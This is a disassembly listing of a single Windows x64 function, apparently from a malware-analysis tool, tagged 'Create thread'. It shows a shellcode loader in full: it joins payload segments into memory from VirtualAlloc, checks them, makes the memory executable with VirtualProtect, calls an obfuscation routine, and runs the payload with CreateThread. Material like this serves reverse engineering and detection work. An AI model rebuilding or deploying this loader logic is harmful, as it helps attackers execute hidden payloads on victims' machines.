Function at 0x1400015b1
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp - 0x40]
lea rdx, [0x140009240]
mov ecx, 0x21
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x110], 0
jmp 0x140001622
mov rax, qword [rbp + 0x110]
lea rdx, [rax*8]
lea rax, [0x140009230]
mov rax, qword [rdx + rax]
add qword [rbp + 0x118], rax
add qword [rbp + 0x110], 1
cmp qword [rbp + 0x110], 1
jbe 0x1400015f9
mov rax, qword [rbp + 0x118]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x140001685
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Memory_allocation_failed___lu__n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 0xffffffff
jmp 0x140001971
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x100], 0
jmp 0x140001701
mov rax, qword [rbp + 0x100]
lea rdx, [rax*8]
lea rax, [0x140009230]
mov rcx, qword [rdx + rax]
mov rax, qword [rbp + 0x100]
mov rdx, qword [rbp + rax*8 - 0x40]
mov rax, qword [rbp + 0x108]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x100]
lea rdx, [rax*8]
lea rax, [0x140009230]
mov rax, qword [rdx + rax]
add qword [rbp + 0x108], rax
add qword [rbp + 0x100], 1
cmp qword [rbp + 0x100], 0x20
jbe 0x1400016a0
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0xf7], 1
mov qword [rbp + 0xe8], 0
jmp 0x14000181a
mov qword [rbp + 0xe0], 0
jmp 0x14000177f
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xe0]
add rax, rdx
movzx edx, byte [rax]
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + rax*8 - 0x40]
mov rax, qword [rbp + 0xe0]
add rax, rcx
movzx eax, byte [rax]
cmp dl, al
je 0x140001777
mov byte [rbp + 0xf7], 0
jmp 0x1400017a2
add qword [rbp + 0xe0], 1
mov rax, qword [rbp + 0xe8]
lea rdx, [rax*8]
lea rax, [0x140009230]
mov rax, qword [rdx + rax]
cmp qword [rbp + 0xe0], rax
jb 0x14000173d
movzx eax, byte [rbp + 0xf7]
xor eax, 1
test al, al
je 0x1400017f1
mov rax, qword [rbp + 0xe8]
mov rdx, rax
lea rax, str.Payload_corruption_detected_at_segment__zu_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0xd8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0xfffffffc
jmp 0x140001971
mov rax, qword [rbp + 0xe8]
lea rdx, [rax*8]
lea rax, [0x140009230]
mov rax, qword [rdx + rax]
add qword [rbp + 0xf8], rax
add qword [rbp + 0xe8], 1
cmp qword [rbp + 0xe8], 0x20
jbe 0x140001730
lea rcx, [rbp - 0x44]
mov rdx, qword [rbp + 0x118]
mov rax, qword [rbp + 0xd8]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x14000189a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Memory_protection_change_failed___lu__n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0xd8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0xfffffffe
jmp 0x140001971
call dbg.KontrolPlow_Obf()
mov rax, qword [rbp + 0xd8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0
jne 0x140001923
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Thread_creation_failed___lu__n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0xd8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0xfffffffd
jmp 0x140001971
mov rax, qword [rbp + 0xd0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x1a0
pop rsi
pop rdi
pop rbp
ret